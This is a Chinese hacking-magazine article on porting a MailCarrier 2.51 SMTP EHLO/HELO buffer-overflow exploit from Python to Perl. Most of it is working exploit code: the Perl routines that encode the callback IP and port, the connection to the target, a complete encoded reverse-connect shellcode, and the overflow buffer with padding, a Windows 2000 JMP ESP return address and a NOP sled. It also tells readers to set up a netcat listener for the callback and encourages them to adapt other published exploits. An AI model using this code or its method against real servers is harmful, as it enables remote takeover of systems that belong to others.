用PERL打造自己的缓冲区漏洞利用程序

来源:百度文库 编辑:神马文学网 时间:2024/04/28 23:43:39
//文章已发表于黑客X档案12期 转载请注明出处
几天前我在外国网站发现了一个关于MailCarrier 2.51邮件服务器EHLO/HELO的溢出信息,发现其中的利用代码是用python语言写的,这种语言我不懂,也没兴趣学,但为了利用这个程序再装个解释器太麻烦了,所以就决定把利用程序改成PERL的。MailCarrier 2.51邮件服务器是一个功能完备,支持SSL加密和SMPT/POP3认证的服务器,国内用的虽然不是很多,在国外它还是有一定市场的。MailCarrier SMTP server对EHLO/HELO命令处理不正确,远程攻击者可以利用这个漏洞对服务进程进行缓冲区溢出,可能以进程权限执行任意指令。
提交包含超长参数的EHLO/HELO命令,可触发缓冲区溢出,精心构建提交数据可能以进程权限执行任意指令。
看来是一个很简单的超长参数溢出漏洞。
我给出模拟的堆栈描述。
内存低端 内存高端
[临时变量处,用任意字符串填充|EBP|EIP|NNNSSSS]
堆栈顶端 堆栈底端
看来只要提交超长数据,必然会出发漏洞,至少会造成程序崩溃。服务器运行在WINDOWS服务器上,SHELLCODE我是从网上下的,覆盖EIP的JMP ESP我是用的WIN2000的。
二 程序关键代码解析
if($backport!~/^\d+$/||$backport<=0||$backport>65535)
{ print ("Input valid port number\n");
usage();
exit;
}
$port1=$backport^0x9999;
$port1=pack(‘n‘,$port1);
程序中的SHELLCODE用的是反向连接,上面的代码就是把我们提交的端口号封装成网络格式。
if($backip!~/^\d+.\d+.\d+.\d+$/)
{
print ("Input valid ip address\n");
usage();
exit;
}
@backip1=split(/\./,$backip);
$ip=$backip1[0]*256*256*256+$backip1[1]*256*256+$backip1[2]*256+$backip1[3];
$ip=$ip^0x99999999;
$ip=pack(‘N‘,$ip);
以上代码把提交的IP地址封装成网络格式,上面的封装格式并不是我自己想出来的,也是不能改的,因为数据的格式是固定的。这个IP地址是回连地址,在此之前应该用NC在这台主机上设置端口监听。
$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$hostname, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $hostname:$port\n";
上面的代码是建立TCP连接,这个连接是连接到目标服务器的,也就是运行邮件服务器的主机。
$sc2=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x9f\x01\x80\x34\x0B\x99\xE2\xFA".
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\xFF\x18\x75\x19\x99\x12\x6D\x71\x8A".
"\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xB4\x98\x99".
"\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\x87\x98\x99\x99".
"\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA".
"\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A\x8F".
"\x71\x60\x99\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA\x71".
"\x73\x99\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2\x71".
"\x43\x99\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34\x71".
"\x53\x99\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x75\x60\x33\xF9\x71".
"\x23\x99\x99\x99\x10\xDF\xB9\x18\x75\x09\x98\x99\x99\xCD\xF1\x98".
"\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF".
"\x85\x12\x41\x72\x9A\x66\xCF\x8D\xF1";
$sc2.=$ip;#IP地址
$sc2.="\xF1\x9B\x99";
$sc2.=$port1;#端口
$sc2.="\x12\x55\xF3\x89\xC8\xCA\x66\xCF\xB9\x1C\x59\xEC\x7F\xF1".
"\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9\x1A\x5D\x35\x14".
"\xA5\xBD\xAA\x59\xAA\x50\x19\x70\x72\x32\x7B\x64\x5F\xDD\xBD\x89".
"\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD".
"\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98".
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55\xF3\x66\x66\xA8\x66".
"\xCF\x95\x12\x51\x72\x16\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59".
"\xE1\x95\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9".
"\xAD\x12\x31\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC".
"\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12".
"\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA".
"\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B".
"\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12".
"\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6".
"\xC7\xC4\xC2\x5B\x9D\x99";
上面的SHELLCODE 是网上下载的。
$buffer="EHLO ";
$buffer.="A"x5097;
$buffer.="\x12\x45\xfa\x7f";
$buffer.="\x90"x32;
$buffer.=$sc2;
$buffer.="\r\n";
上面的$buffer变量是我们提交的数据,因为漏洞描述中已经给出了在填充5097(部分系统是5093)个字节就会出发漏洞,其中"\x12\x45\xfa\x7f"是WIN2000中文版JMP ESP的通用返回地址(0x7ffa4512),其他的系统得自己去网上找一下。
三 总结
全部源码请看附带的程序。这个程序用处虽然不大,但给大家提供了一些简单的方法。大家可以参考这个流程改写网上一些漏洞利用程序,其实好多溢出程序最原始版本作者写得都很保留,功能尽量减少,只是一个测试,这一点我也很赞同,省得一些什么都不懂的菜鸟到处搞破坏。大部分利用程序都是经过很多人改写后才得以流传到网上,这时的程序已经很完美了。我写此文也希望大家以后通过努力学习把外国人写的利用程序改成我们自己的。